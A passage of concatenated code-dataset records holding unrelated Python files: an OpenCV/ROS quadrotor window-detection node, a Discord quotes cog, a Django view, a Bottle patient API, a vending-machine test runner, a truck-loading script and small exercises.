(a*b)/math.sqrt((b*b)+(4*a*a))\n xlim = (a*b)/math.sqrt((4*b*b)+(a*a))\n # print(a,b,ylim, xlim)\n\n classifyTable = winTable\n indexBox = []\n k = 0\n windowMatrix = []\n winRow = []\n classifyTable.sort(key=lambda x: x[1])\n while k=numWin or k>=len(classifyTable):\n break\n if classifyTable[k][0] in indexBox:\n k = k+1\n continue\n else:\n indexBox.append(classifyTable[k][0])\n winRow.append(classifyTable[k])\n go = True\n ii = 0\n tempWin = classifyTable[k]\n # sum_nyx = -xlim\n while go:\n ii = ii + 1\n _, wn, _, nyx, fx, _ = findNearest(classifyTable, tempWin, xlim, ylim)\n if abs(wn[2]-tempWin[2])0)):\n # if abs(wn[2]-tempWin[2])0\n tempWin = wn\n winRow.append(wn)\n indexBox.append(wn[0])\n # sum_nyx = sum_nyx + nyx\n else:\n go = False\n # winRow.sort(key=lambda x: x[1])\n windowMatrix.append(winRow)\n winRow = []\n\n classifyTable = []\n winTable = []\n windowMatrix.sort(key=lambda x: x[0][2])\n # numRow = len(windowMatrix)\n firstRow = windowMatrix[0]\n for i, m in enumerate(windowMatrix):\n for j, n in enumerate(m):\n n.append(i+1)\n # n.append(i-(int(numRow/2)))\n winTable.append(n)\n\n indexBox = []\n windowMatrix = []\n winCol = []\n classifyTable = winTable\n classifyTable.sort(key=lambda x: x[2])\n k = 0\n while k=numWin) or k>=len(classifyTable):\n break\n if classifyTable[k][0] in indexBox:\n k = k+1\n continue\n else:\n indexBox.append(classifyTable[k][0])\n winCol.append(classifyTable[k])\n go = True\n ii = 0\n tempWin = classifyTable[k]\n # sum_nxy = -ylim\n while go:\n ii = ii + 1\n wn, _, nxy, _, _, fy = findNearest(classifyTable, tempWin, xlim, ylim)\n # if abs(wn[1]-tempWin[1])0)):\n if ii==1: sign = (wn[2]-tempWin[2])>0\n if tempWin in classifyTable: classifyTable.remove(tempWin)\n tempWin = wn\n winCol.append(wn)\n indexBox.append(wn[0])\n # sum_nxy = sum_nxy + nxy\n else:\n go = False\n # winCol.sort(key=lambda x: x[])\n windowMatrix.append(winCol)\n winCol = []\n if len(indexBox)==numWin:\n break\n\n winTable = []\n windowMatrix.sort(key=lambda x: x[0][1])\n numCol = len(windowMatrix)\n firstCol = windowMatrix[0]\n for j, m in enumerate(windowMatrix):\n for i, n in enumerate(m):\n n.append(j+1)\n # n.append(j-int(numCol/2))\n winTable.append(n)\n\n\n FRPL1 = False\n FRPL2 = False\n for wn in firstRow:\n if wn[2]<(ylim/2):\n FRPL2 = True\n if wn[2]<(1.75*(ylim/2)):\n FRPL1 = True\n\n if FRPL2:\n for wn in firstRow:\n winTable.remove(wn)\n for wn in winTable:\n wn[4] = wn[4]-1\n if frpl1 and not frpl2:\n print(3)\n if len(index)!=0: index[0] = index[0]-1\n elif frpl2 and not FRPL2:\n print(2)\n if FRPL1:\n print(4)\n if len(index)!=0: index[0] = index[0]+1\n\n FCPL1 = False\n FCPL2 = False\n for wn in firstCol:\n if wn[1]<(xlim/2):\n FCPL2 = True\n if wn[1]<(1.75*(xlim/2)):\n FCPL1 = True\n if FCPL2:\n for wn in firstCol:\n winTable.remove(wn)\n for wn in winTable:\n wn[5] = wn[5]-1\n if fcpl1 and not fcpl2:\n if len(index)!=0: index[1] = index[1]-1\n elif fcpl2 and not FCPL2:\n if FCPL1:\n if len(index)!=0: index[1] = index[1]+1\n\n frpl2 = FRPL2\n frpl1 = FRPL1\n fcpl2 = FCPL2\n fcpl1 = FCPL1\n\n for k, wn in enumerate(winTable):\n x = cv.putText(imdata, str([wn[4], wn[5]]),(wn[1]-10,wn[2]), cv.FONT_HERSHEY_SIMPLEX, 0.25, (0,255,0), lineType=cv.LINE_AA)\n cv.putText(imdata, str(it),(10,10), cv.FONT_HERSHEY_SIMPLEX, 0.25, (0,0,0), lineType=cv.LINE_AA)\n\n\n output = []\n if index_in:\n for wn in winTable:\n if wn[4]==input[0] and wn[5]==input[1]:\n # print('w output:', wn[3])\n output = wn\n # return wn[3]\n if len(output)==0:\n print('Wrong index to windowIndex!')\n return [1]\n elif window_in:\n for wn in winTable:\n if (wn[3]==input).all():\n print('i output:', wn[4], wn[5])\n xc = wn[1]\n yc = wn[2]\n return [wn[4], wn[5]]\n print('Wrong contour to windowIndex!')\n return [2]\n\n if len(output)>3:\n _,_, w, h = boundingBox(output[3])\n if h<50 : limh = 1.65*h\n else: limh = 1.25*h\n if w<50 : limw = 1.65*w\n else: limw = 1.25*w\n if abs(output[2]-yc)>(limh):\n print('row fix------------', h, output[2], yc, output[2]-yc)\n if (output[2]-yc)>0:\n index[0] = index[0]-1\n else:\n index[0] = index[0]+1\n if abs(output[1]-xc)>(limw):\n print('col fix------------', w, output[1], xc, output[1]-xc)\n if (output[1]-xc)>0:\n index[1] = index[1]-1\n else:\n index[1] = index[1]+1\n for wn in winTable:\n if wn[4]==index[0] and wn[5]==index[1]:\n output = wn\n\n return output[3]\n\ndef scoreContours(contours):\n print('scoreContours entered ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n global tempArea, enterance, cv_image, xc, yc\n rows, cols, _ = cv_image.shape\n goodIndex = ind = -1\n eucFIt = 0\n enteranceArea = 0.4*rows*cols\n polyInfo = []\n win = []\n for i, poly in enumerate(contours):\n area = cv.contourArea(poly)\n if len(poly)==1 or area<0.25*tempArea:\n continue\n case_x,case_y = contourCenter(poly)\n centerDist = euclideanDist([[xc,yc]], [[case_x,case_y]])\n polyInfo.append([i, centerDist, area, abs(area-tempArea)])\n # case_y, case_z = rectangleGeometric(poly)\n # polyScore = abs(area-tempArea)/tempArea+(2*centerDist/math.sqrt(tempArea))+(arDiff/shapeAR)\n # polyScore = centerDist\n # polyScore = centerDist/math.sqrt(tempArea)\n # polyInfo.append([i, polyScore, area, abs(area-tempArea), centerDist, case_y, case_z])\n m = len(polyInfo)\n polyInfo.sort(key=lambda x: x[1])\n print(\"polyInfo size: \", len(polyInfo))\n # print(\"sorted polies:\")\n # for p in polyInfo:\n # # if p[1]>100: continue\n # polyInfo_r = [float(\"{:.2f}\".format(p[i])) for i in range(4)]\n # print(polyInfo_r)\n print(\"area data: before:\", tempArea)\n\n if tempArea>=enteranceArea/3: maxAreaDiff = (4*tempArea)/10\n elif tempArea >= enteranceArea/9: maxAreaDiff = (3.5*tempArea)/10\n else: maxAreaDiff = (3*tempArea)/10\n i = 0\n while i=(0.05*enteranceArea))#and(tempArea(cv_image.size-1e4))\n\n # print(\"is the ca cnst:\", is_the_area_const, polyInfo[i][4], (math.sqrt(tempArea)))\n print(\"filters report : \", is_the_ca_const, is_the_area_const, is_it_close_enough, is_it_the_full_frame)\n\n if (is_the_area_const or is_it_close_enough) and (not is_it_the_full_frame) and is_the_ca_const:\n goodIndex = polyInfo[i][0]\n ind = i\n print(\"---good poly info: \", polyInfo[ind])\n print(\"area data: before:\", tempArea, \" new: \", polyInfo[ind][2])\n # print(polies[goodIndex])\n win = contours[goodIndex]\n break\n i = i+1\n\n # if not is_the_ca_const:\n # eucFIt = eucFIt + 1\n # if goodIndex=100):\n # print(\"return -1\")\n return [];\n print(\"the goodIndex: \", goodIndex)\n\n if (is_the_area_const or is_it_close_enough):\n print(\"iter:\\t\", iter, \"\\tdata before:\\t\", tempvecy, tempvecz, \"\\tnew data:\\t\", vecy, vecz, \"\\teuc:\\t\", euc)\n if polyInfo[i][1]>(cols/5): return drawing, [];\n\n win = contours[goodIndex]\n # window_frame = cv_image.copy()\n return win;\n\ndef contourManagement(polies):\n global tempArea, flag, vecy, vecz, cv_image, window_points, index, xc, yc\n win = []\n enteranceArea = 2*cv_image.size/5\n scoring_approach = flag = draw_on = False\n img = cv_image.copy()\n rows, cols, _ = cv_image.shape\n areaRatio = tempArea/(rows*cols)\n # print(areaRatio)\n if len(index)==0 or areaRatio>=0.02:\n scoring_approach = True\n else:\n wi = windowIndex(polies, index)\n if len(wi)==4:\n is_sorted, wn = fourPSort(wi)\n if is_sorted:\n window_points = wn\n xc, yc = contourCenter(window_points)\n # tempvecy, tempvecz = contourCenter(window_points)\n # print('wi', window_points)\n window_points = np.array(window_points)\n tempArea = cv.contourArea(window_points)\n flag = draw_on = True\n else:\n scoring_approach = True\n # elif len(wi)==3:\n # The approximate case\n # move the last true window (window_points) to the approximate position and return it\n # approximate = True\n else:\n scoring_approach = True\n\n if scoring_approach:\n window_points = scoreContours(polies)\n if len(window_points)==4: flag = draw_on = True\n\n if draw_on:\n vecy, vecz = rectangleGeometric(window_points)\n if cv.contourArea(window_points)>(2*enteranceArea/3):\n print(\"enter!!\")\n enterance = True\n cv.drawContours(img, [window_points], -1, (0,255,0), 2)\n for point in window_points:\n # point = [[x,y]]\n xp, yp = point[0][0], point[0][1]\n center = (xp,yp)\n cv.circle(img, center, 10, (0,0,0), 3)\n return img, window_points;\n # elif scoring_approach:\n # scoreContour(polies)\n return img, win\n\n# def trackWindow(contours):\n# global window_points, window_frame, tr_it, cv_image\n# # print(\"---trackWindow entered---\")\n# first_box = boundingBox(window_points)\n# # print(\"window_points\", window_points)\n# # print(\"first_box\", first_box)\n# # print(\"window_frame size\", window_frame.size)\n# # if tr_it==0:\n# # tracker.init(window_frame, first_box)\n# tracker.init(window_frame, first_box)\n# # tr_it = tr_it+1\n# success, box_new = tracker.update(cv_image)\n# if not success:\n# # print(\"---trackWindow failed---\")\n# return cv_image, [];\n# xc = box_new[0]+(box_new[2]/2)\n# yc = box_new[1]+(box_new[3]/2)\n# bc = [[xc,yc]]\n# minDist = 1e7\n# for cnt in contours:\n# case_xc = 0\n# case_yc = 0\n# for pt in cnt:\n# case_xc = case_xc + pt[0][0]\n# case_yc = case_yc + pt[0][1]\n# case_xc = case_xc/len(cnt)\n# case_yc = case_yc/len(cnt)\n# case_c = [[case_xc, case_yc]]\n# box_dist = euclideanDist(bc,case_c)\n# if minDist>box_dist:\n# minDist = box_dist\n# win = cnt\n# tempvecy, tempvecz = rectangleGeometric(win)\n# wins = [win]\n# img = cv_image.copy()\n# cv.drawContours(img, wins, -1, (0,255,0), 2)\n# window_points = win\n# window_frame = img\n# flag = True\n# # print(\"---trackWindow succeeded---\")\n# return img, win;\n\ndef perception3D(img, win):\n print(\"flag---p3d: \", flag)\n if not flag:\n return img\n global real_rect_info, translation_vec, rotation_vec\n axis_3d = np.float32([[0, 0, 0], [0.5, 0, 0], [0, 0.5, 0], [0, 0, 0.5]])\n is_sorted, rect = fourPSort(reconstructRect(win))\n if not is_sorted: return img\n found_rect_info = np.float32([rect[0][0], rect[1][0], rect[2][0], rect[3][0]])\n pic = img.copy()\n _, rotation_vec, translation_vec = cv.solvePnP(real_rect_info, found_rect_info, camera_matrix, distortion_matrix)\n axis_2d, j = cv.projectPoints(axis_3d, rotation_vec, translation_vec, camera_matrix, distortion_matrix)\n # print(\"a2d\", axis_2d)\n start = (axis_2d[0][0][0], axis_2d[0][0][1])\n # print(\"start: \", start)\n cv.line(pic, start, (axis_2d[1][0][0],axis_2d[1][0][1]), (0,255,255), 1)\n cv.line(pic, start, (axis_2d[2][0][0],axis_2d[2][0][1]), (255,0,255), 1)\n cv.line(pic, start, (axis_2d[3][0][0],axis_2d[3][0][1]), (255,255,0), 1)\n return pic\n\ndef windowDetection(imin):\n # print(\"\\n~~~~~\\nWD is called\\n\")\n global imdata\n imdata = imin.copy()\n imout = preProcessing(imin)\n poly = contourExtraction(imout, imdata)\n # windowIndex(poly,[1,1])\n # print(np.int32(poly))\n drawing, window = contourManagement(poly)\n # if not flaros\n # drawing, window = trackWindow(poly)\n # else: tr_it = 0\n result = perception3D(drawing, window)\n cv.imshow(\"window detection result\",result)\n # cv.imwrite('prob1.jpg', imdata)\n cv.imshow(\"window detection t\",imdata)\n cv.waitKey(30)\n # print(\"\\n~~~~~\\nWD is out\\n\")\n return imout\n\nclass image_converter:\n\n def __init__(self):\n self.bridge = CvBridge()\n self.image_sub = rospy.Subscriber(\"/quadrotor_1/front/image_raw\",Image,self.imageCallback)\n # self.image_sub = rospy.Subscriber(\"/image_raw\",Image,self.imageCallback)\n\n def imageCallback(self,data):\n global cv_image, is_set, frame_, msg, pub\n try:\n cv_image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n except CvBridgeError as e:\n print(e)\n\n # print(\"Iteration Begin\\n\\n\\n\")\n frame = cv_image.copy()\n # cv.imwrite('oopl.jpg', cv_image)\n\n # frame = windowDetection(cv_image)\n\n if is_set == False:\n # print(\"is_set\",is_set)\n setWindow(frame)\n\n else:\n # print(\"is_set\",is_set)\n cv.destroyWindow(\"operator desicion\")\n cv.imshow(\"operator dsicion\", frame_)\n frame = windowDetection(cv_image)\n # print(\"flag\", flag)\n if flag:\n msg.y = vecy\n msg.z = vecz\n msg.enterance = enterance\n pub.publish(msg)\n # print(\"\\n\\nimpro published data:::\\nmsg.y:\",vecy,\"\\tmsg.z:\\t\",vecz)\n # print(\"translation_vec: \",translation_vec)\n # print(\"rotation_vec: \",rotation_vec)\n # else:\n # print(\"nothing published\\n\")\n # print(\"Iteration end\\n---------------------------------------------------------------------------------\\n\")\n\n\n\ndef main(args):\n\n # print(\"Node Started ...\\n\")\n ic = image_converter()\n # ic = window_detection()\n pub = rospy.Publisher('chatter', String, queue_size=10)\n rospy.init_node('impro_p', anonymous=True)\n\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"Shutting down\")\n cv.destroyAllWindows()\n\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"py_simulate/src/matrix_impro.py","file_name":"matrix_impro.py","file_ext":"py","file_size_in_byte":30111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"230061711","text":"# from typing import List\n\n\nclass Solution:\n def isIdealPermutation(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: bool\n \"\"\"\n result = True\n if len(A) <= 2:\n return 'true'\n for i in range(0, len(A) - 1):\n for j in range(i + 2, len(A)):\n if A[i] > A[j]:\n result = False\n return 'true' if result else 'false'\n\n\nif __name__ == '__main__':\n test = Solution()\n print(test.isIdealPermutation([1, 2, 0]))\n","sub_path":"out/production/leetcode/leetcodeDaily/a21_4_5/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"337540589","text":"from discord.ext import commands\r\nimport discord\r\nfrom os import path\r\nfrom datetime import datetime\r\nimport time\r\nfrom math import floor\r\nimport asyncio\r\n\r\nfrom utils import general\r\n\r\nLOCAL_DIR = path.dirname(__file__)\r\nQUOTES_LOCATION = path.join(LOCAL_DIR, 'quotes/quotes.json')\r\nCONFIG = general.read_json_as_tuple('config.json')\r\n\r\nclass Quotes(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n self.quotes = general.read_json_raw(QUOTES_LOCATION)\r\n self.quotes_titles = {}\r\n self.make_quotes_titles_list()\r\n\r\n ## Make dictionary of quote titles, per server\r\n def make_quotes_titles_list(self):\r\n ## Iterate through JSON and make a list of titles\r\n for guild_name in list(self.quotes.keys()):\r\n self.quotes_titles[guild_name] = [quote for quote in list(self.quotes[guild_name].keys()) if quote != 'blank']#.append(quote)\r\n \r\n ## Add quote, save to JSON\r\n def add_quote(self, guild_name, title, quote, author, avatar):\r\n\r\n #If we're adding first quote, remove the blank\r\n if self.quote_exists(guild_name, 'blank'):\r\n self.quotes[guild_name].pop('blank', None)\r\n\r\n new_quote = {title.lower() : {'author': author, 'avatar': avatar, 'creation_date': floor(time.time()), 'quote': quote}}\r\n self.quotes[guild_name].update(new_quote)\r\n general.write_json(self.quotes, QUOTES_LOCATION)\r\n ## Add to list of quote titles too\r\n self.quotes_titles[guild_name].append(title.lower())\r\n\r\n ## Check if quote exists by title\r\n def quote_exists(self, guild_name, title):\r\n quote_object = self.quotes[guild_name].get(title.lower())\r\n return not quote_object == None\r\n\r\n ## Remove quote, save to JSON\r\n def remove_quote(self, guild_name, title):\r\n result = self.quotes[guild_name].pop(title.lower(), None)\r\n general.write_json(self.quotes, QUOTES_LOCATION)\r\n ## Remove from title list\r\n self.quotes_titles[guild_name].remove(title.lower())\r\n return result\r\n\r\n ## Get quote by title\r\n def get_quote_by_title(self, guild_name, title):\r\n return self.quotes[guild_name].get(title.lower())\r\n\r\n ## Get embed from quote dict\r\n def get_quote_embed(self, quote, quote_title):\r\n embed = discord.Embed(timestamp=datetime.utcfromtimestamp(quote['creation_date']))\r\n embed.set_footer(text=quote['author'], icon_url=quote['avatar'])\r\n embed.add_field(name=quote_title, value=quote['quote'])\r\n return embed\r\n\r\n ## Get random quote by server\r\n ## Get random quote by author name\r\n\r\n ## Make empty server quote section upon joining\r\n @commands.Cog.listener()\r\n async def on_guild_join(self, guild):\r\n new_guild = {guild.name: {'blank': {'author': 'blank', 'avatar': 'blank', 'creation_date': 0, 'quote': 'blank'}}}\r\n self.quotes.update(new_guild)\r\n general.write_json(self.quotes, QUOTES_LOCATION) \r\n\r\n ## New quote command\r\n @commands.command()\r\n async def newquote(self, ctx, *, quote_title):\r\n \"\"\"Adds a new quote.\"\"\"\r\n ## Check if quote with that title already exists\r\n if self.quote_exists(ctx.guild.name, quote_title):\r\n return await ctx.send('Sorry, a quote with that title already exists!')\r\n ## Get latest 40 messages\r\n latest_messages = await ctx.channel.history(limit=40).flatten()\r\n ## From 40 latest messages, get 8 quotable messages, store them into dict and make a string for the embed\r\n max_messages = 8\r\n message_counter = max_messages\r\n messages_dict = {}\r\n messages_string = ''\r\n for m in latest_messages:\r\n ## Criteria - is not made by bot, has content, doesn't start with CONFIG.prefix or is not registered command\r\n if not m.author.bot and m.content and len(m.content) < 150 and m.content[0] != CONFIG.prefix and not general.is_command(self.bot.commands, m.content[1:].split(' ')[0]):\r\n ## Add to dict\r\n messages_dict[message_counter] = m\r\n ## If message is too long, truncate and add ++\r\n message_content = (m.content[:150] + '..') if len(m.content) > 150 else m.content\r\n ## Remove quotes\r\n message_content.replace('`', '')\r\n ## Add to string\r\n messages_string = f'**{str(message_counter)}** - *{m.author.name}*: {message_content}\\n' + messages_string\r\n message_counter -= 1\r\n\r\n if message_counter == 0:\r\n break\r\n\r\n messages_string += 'Messages from bots and previous commands are ignored.\\n'\r\n messages_string += '**Please write the index of the message to make a quote of.**'\r\n ## Add messages_string to embed, send it\r\n embed = discord.Embed()\r\n try:\r\n embed.add_field(name='Latest messages:', value=messages_string, inline=True)\r\n except Exception:\r\n return await ctx.send('No quotable messages in recent chat history. Sorry!')\r\n quote_list_embed = await ctx.send(embed=embed)#, content='Please select which message to make a quote of. Syntax: !.')\r\n ## Await response message from same author, of the length 1, and numeric\r\n def check(message):\r\n return message.author == ctx.message.author and len(message.content) == 1 and str.isdigit(message.content)\r\n\r\n try:\r\n msg = await self.bot.wait_for('message', timeout=40.0, check=check)\r\n await quote_list_embed.delete()\r\n except asyncio.TimeoutError:\r\n return await ctx.send(f'Something went wrong, or you took too long to respond, {ctx.message.author.mention}! Please try again.')\r\n ##If you get it, try to get the message to make a quote of\r\n try:\r\n quoted_message = messages_dict[int(msg.content)]\r\n except KeyError:\r\n return await ctx.send('That\\'s not a valid index! Aborting.')\r\n \r\n ## Add to quote_titles, add to quotes database\r\n self.add_quote(ctx.guild.name, quote_title, quoted_message.content, quoted_message.author.name, str(quoted_message.author.avatar_url))\r\n\r\n ## Get quote database entry, send it to channel, then notify that it's been added\r\n quote = self.get_quote_by_title(ctx.guild.name, quote_title)\r\n await ctx.send(embed=self.get_quote_embed(quote, quote_title))\r\n await ctx.send(f'Quote has been saved as _{quote_title}_. Call for it anytime with \\'!quote {quote_title}\\'.')\r\n\r\n ## Remove quote command\r\n @commands.command()\r\n async def removequote(self, ctx, *, quote_title):\r\n \"\"\"Removes quote by quote name.\"\"\"\r\n quote = self.remove_quote(ctx.guild.name, quote_title)\r\n if quote == None:\r\n return await ctx.send('That quote doesn\\'t exist.')\r\n\r\n await ctx.send(content=f'Successfuly removed quote _{quote_title}_. Listen as it pops.')\r\n await ctx.send(embed=self.get_quote_embed(quote, quote_title))\r\n\r\n ## Summon quote command\r\n @commands.command()\r\n async def quote(self, ctx, *, quote_title):\r\n \"\"\"Pulls quote from quote database.\"\"\"\r\n quote = self.get_quote_by_title(ctx.guild.name, quote_title)\r\n if quote == None:\r\n return await ctx.send(f'Sorry, I can\\'t find a {quote_title} quote anywhere within my database!')\r\n await ctx.send(embed=self.get_quote_embed(quote, quote_title))\r\n \r\n ## Quote list command\r\n @commands.command()\r\n async def quotelist(self, ctx):\r\n quotes_guild = '\\n'.join(self.quotes_titles[ctx.guild.name])\r\n embed = discord.Embed()\r\n embed.add_field(name=f'List of quotes for {ctx.guild.name}', value=quotes_guild)\r\n await ctx.send(embed=embed)\r\n\r\ndef setup(bot):\r\n bot.add_cog(Quotes(bot))\r\n print('Loaded Quotes.')","sub_path":"cogs/quotes.py","file_name":"quotes.py","file_ext":"py","file_size_in_byte":7882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"429194143","text":"from django.shortcuts import render\nfrom .models import Total_input\n\ndef input(request):\n num_input = \"\"\n if request.POST:\n num_input = request.POST['name']\n mul = []\n show_total = Total_input.objects.all()\n try:\n totals = Total_input.objects.get(num=num_input)\n totals.total += 1\n totals.save()\n except Total_input.DoesNotExist:\n totals = Total_input(num = num_input, total = 1)\n totals.save()\n\n try:\n number = int(float(num_input))\n for i in range(1,13,1):\n mul.append(str(number) + \" X \" + str(i) + \" = \" + str(number*i))\n except ValueError:\n mul.append(\"It's not number.\")\n return render(request, 'input.html', {'mul_list':mul, 'total': show_total})\n return render(request, 'input.html')\n","sub_path":"input_num/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"352496629","text":"#coding:utf-8\n\n\"\"\"\ncreation tuple : mon_tuple = () #vide\n\t\t\t\t mon_tuple = 10, # une seule valeur\n\t\t\t\t mon_tuple = (10,) # idem au dessus\n\t\t\t\t mon_tuple = (4,6) #plusieur valeur\n\"\"\"\n\n\nliste = [1,2,3,4,5,6]\n\nfor chose in enumerate(liste):\n\tprint(chose)\n\n\n\nmon_tuple = (45,)\nprint(type(mon_tuple))\n\n\ndef getPlayerPosition():\n\tposX = 148\n\tposY = 86\n\treturn (posX,posY)\n#prog principal\n\ncordx = 0\ncordy = 0\n\nprint(\"position joueur : ({}/{})\".format(cordx,cordy))\n\n(cordx,cordy) = getPlayerPosition()\n\nprint(\"position joueur : ({}/{})\".format(cordx,cordy))\n","sub_path":"cours/tuples/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"202148593","text":"#!/usr/bin/env python\n\nimport json\nimport logging\nimport os.path\nfrom pathlib import Path\nimport re\nimport subprocess\nimport sys\nimport traceback\n\nclass TestRunner(object):\n # Update this list as needed to execute your application.\n exe_and_args = [\"python\", \"src/vending.py\"]\n timeout_seconds = 10\n\n def __init__(self, test_path):\n self.test_path = test_path\n \n def run(self):\n logging.info(\"----->>> Starting test %s ----->>>\", self.test_path)\n try:\n self.execute_test()\n self.check_results()\n result = True\n except:\n logging.info(\"Error running test %s: %s\", self.test_path, traceback.format_exc())\n result = False\n logging.info(\"<<<----- Finishing test %s <<<----- %s\", self.test_path, self._pass_or_fail(result))\n return result\n\n def execute_test(self):\n args = self.exe_and_args.copy()\n args.append(str(self.test_path / \"inventory.json\"))\n args.append(str(self.test_path / \"transactions.json\"))\n result = subprocess.run(args, check=True, shell=True, stdout=subprocess.PIPE, timeout=self.timeout_seconds)\n (self.test_path / \"output.json\").write_bytes(result.stdout)\n\n def check_results(self):\n actual_results = json.load((self.test_path / \"output.json\").open())\n expected_results = json.load((self.test_path / \"expected.json\").open())\n if len(actual_results) != len(expected_results):\n raise Exception(\"output did not match expected in number of results\")\n for actual_result, expected_result in zip(actual_results, expected_results):\n self.check_result(actual_result, expected_result)\n\n def check_result(self, actual_result, expected_result):\n if actual_result[\"product_delivered\"] != expected_result[\"product_delivered\"]:\n raise Exception('output did not match expected on product_delivered')\n if actual_result[\"name\"] != expected_result[\"name\"]:\n raise Exception('output did not match expected on product_delivered')\n actual_change_total = sum(actual_result[\"change\"])\n expected_change_total = sum(expected_result[\"change\"])\n if actual_change_total != expected_change_total:\n raise Exception(\"output did not match expected on change returned\")\n\n def _pass_or_fail(self, result):\n return \"pass\" if result else \"FAIL\"\n\ndef run_tests(test_names):\n results = [TestRunner(test_name).run() for test_name in test_names]\n return all(results)\n\ndef is_test_dir(d):\n return d.is_dir() and re.match(r'\\d\\d', d.name)\n\ndef enumerate_test_dirs(test_root):\n return [x for x in test_root.iterdir() if is_test_dir(x)]\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n if len(sys.argv) > 1:\n tests = [Path(x) for x in sys.argv[1:]]\n else:\n tests = enumerate_test_dirs(Path(__file__).parent / \"test\")\n result = run_tests(tests)\n sys.exit(0 if result else 1)\n","sub_path":"Coding Assignment (Keysight)/vending_machine/run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"212282733","text":"from cargo import Item, Truck\n\n\ndef create_items_list_from_csv(file_name):\n items = []\n with open(file_name, \"r\") as csv:\n for line in csv.readlines():\n data = line.strip().split(\";\")\n name = data[-1]\n data = list(map(int, data[:-1]))\n i = Item(data[0], data[1], data[2], data[3], name)\n items.append(i)\n return items\n\n\ndef write_cargo_string_to_csv(file_name, cargo_string):\n with open(file_name, \"w\") as csv:\n csv.write(cargo_string)\n\n\ndef load_trucks(items_list, truck1, truck2):\n for item in items_list:\n while item.amount > 0:\n if not truck1.add_item(item):\n break\n while item.amount > 0:\n if not truck2.add_item(item):\n break\n total_value_on_trucks = truck1.get_value_on_truck() + truck2.get_value_on_truck()\n cargo_csv_string = truck1.get_cargo_csv_string() + truck2.get_cargo_csv_string()\n return (total_value_on_trucks, cargo_csv_string)\n\n\n# sort items by value per gram (desc.)\nitems = create_items_list_from_csv(\"items_list.csv\")\nitems.sort(key=lambda x: x.value_per_gram, reverse=True)\n\n# create Trucks\nt1 = Truck(1100000, 72400, items)\nt2 = Truck(1100000, 85700, items)\n\nresult_a = load_trucks(items, t1, t2)\n\n# switch loading order to find the best of both solutions\nt1.driver_weight, t2.driver_weight = t2.driver_weight, t1.driver_weight\n\nt1.clear_truck()\nt2.clear_truck()\n\nresult_b = load_trucks(items, t1, t2)\n\nif result_a[0] >= result_b[0]:\n write_cargo_string_to_csv(\"cargo_list.csv\", f\"Total-Value;{result_a[0]}\\n{result_a[1]}\")\nelse:\n write_cargo_string_to_csv(\"cargo_list.csv\", f\"Total-Value;{result_b[0]}\\n{result_b[1]}\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"603161189","text":"id_count = 0\nclass Patient:\n def __init__(self,**kwarg):\n global id_count\n id_count +=1\n self.mbr_id = id_count\n self.name = kwarg[\"name\"]\n self.gender = kwarg[\"gender\"]\n self.age = kwarg[\"age\"]\n self.address = kwarg[\"address\"]\n self.phone = kwarg[\"phone\"]\n\n def read(self):\n return \"\".join([\"Patient Informations\\n\",\"Id : \",str(self.mbr_id),\"\\nName : \",self.name,\"\\nGender : \",self.gender,\"\\nAge : \",self.age,\"\\nAddress : \",self.address,\"\\nPhone : \",self.phone ])\n\n def update(self,**kwarg):\n self.name = kwarg[\"name\"]\n self.gender = kwarg[\"gender\"]\n self.age = kwarg[\"age\"]\n self.address = kwarg[\"address\"]\n self.phone = kwarg[\"phone\"]\n\n\nfrom bottle import get, post, request,route, run, template,put,delete\npat_dict = {}\n\n@route('/')\n@route('/patient')\ndef patient():\n return 'Please Try Again lol !!!! Patient is working fine do somthing with it /create,/update,/delete!'\n\n@post('/patient')\ndef create():\n name = request.POST['name']\n gender = request.POST['gender']\n age = request.POST['age']\n address = request.POST['address']\n phone = request.POST['phone']\n temp_pat = Patient(name = name,gender = gender,age = age,address = address,phone = phone)\n pat_dict.update({str(temp_pat.mbr_id):temp_pat})\n return 'Patient Created with ID {0}'.format(temp_pat.mbr_id)\n\n@get('/patient/')\ndef read(id):\n return pat_dict[id].read()\n\n@put('/patient/')\ndef update(id):\n mbr_id = request.POST['mbr_id']\n if mbr_id != id:\n return \"Access Denied\"\n pat_dict[id].update(name = request.POST['name'],gender = request.POST['gender'],age = request.POST['age'],address = request.POST['address'],phone = request.POST['phone'])\n return \"Updated Sucessfully \".join([str(mbr_id)])\n\n@delete('/patient/')\ndef delete(id):\n del(pat_dict[id])\n return \"Deleted Sucessfully {0}\".format(id)\n\nrun(host='0.0.0.0', port=8080)\n","sub_path":"patient.py","file_name":"patient.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"3167337","text":"from __future__ import (\n print_function, division, absolute_import, unicode_literals)\n\nfrom ufo2ft.filters import BaseFilter\nfrom cu2qu.ufo import DEFAULT_MAX_ERR\nfrom cu2qu.pens import Cu2QuPointPen\n\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass CubicToQuadraticFilter(BaseFilter):\n\n _kwargs = {\n 'conversionError': None,\n 'reverseDirection': True,\n }\n\n def set_context(self, font, glyphSet):\n ctx = super(CubicToQuadraticFilter, self).set_context(font, glyphSet)\n\n relativeError = 